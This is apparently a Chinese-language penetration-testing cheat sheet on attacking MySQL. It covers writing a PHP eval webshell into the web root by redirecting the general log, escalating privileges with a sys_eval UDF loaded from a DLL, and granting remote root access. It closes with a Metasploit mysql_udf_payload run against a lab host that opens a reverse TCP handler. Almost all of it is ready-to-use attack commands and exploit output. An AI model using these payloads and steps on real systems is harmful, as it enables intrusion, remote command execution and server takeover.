一、sql注入写shell和udf提权相关条件和命令
1、知道网站物理路径
2、高权限数据库用户(数据库的写)
3、load_file () 开启 即 secure_file_priv 无限制
4、网站路径有写入权限
日志文件写入webshell
Web 文件夹宽松权限可以写入
Windows 系统下
高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell,一般在有phpmyadmin下用这个方法。
SHOW VARIABLES LIKE 'general%'; #查询日志文件
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='E:\\phpstudy_pro\\WWW\\shell2.php';
# 往日志里面写入 payload
select '<?php eval($_POST[1]);?>';
写入webshell后的操作
手写UDF提权。
MSF的UDF提权,需要远程登录或者代理。
上传有udf提权功能的马。
1、手写UDF提权。
将udf.dll文件写入到mysql的 E:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ 文件夹下。lib和plugin文件夹可用webshell或ADS创建这两个文件夹。
#完整命令在下面链接
https://www.sqlsec.com/udf/
#创建自定义函数并调用命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
#执行命令
select sys_eval('whoami');
#删除自定义函数
drop function sys_eval;
2、MSF的UDF提权
#修改mysql允许远程登录,第一个root为用户,第二个为密码
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
msf6 exploit(multi/mysql/mysql_udf_payload) > set rhosts 192.168.200.5
rhosts => 192.168.200.5
msf6 exploit(multi/mysql/mysql_udf_payload) > set password root
password => root
msf6 exploit(multi/mysql/mysql_udf_payload) > run
[*] Started reverse TCP handler on 192.168.200.3:4444
[*] 192.168.200.5:3306 - Checking target architecture...
[*] 192.168.200.5:3306 - Checking for sys_exec()...
[*] 192.168.200.5:3306 - Checking target architecture...
[*] 192.168.200.5:3306 - Checking for MySQL plugin directory...
[*] 192.168.200.5:3306 - Target arch (win64) and target path both okay.
[*] 192.168.200.5:3306 - Uploading lib_mysqludf_sys_64.dll library to E:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/SJPPUPaF.dll...
[*] 192.168.200.5:3306 - Checking for sys_exec()...
[*] 192.168.200.5:3306 - Command Stager progress - 55.47% done (1444/2603 bytes)
[*] 192.168.200.5:3306 - Command Stager progress - 100.00% done (2603/2603 bytes)
[*] Exploit completed, but no session was created.
msf6 exploit(multi/mysql/mysql_udf_payload) >
然后和上述一样流程,使用dll文件创建函数,执行命令。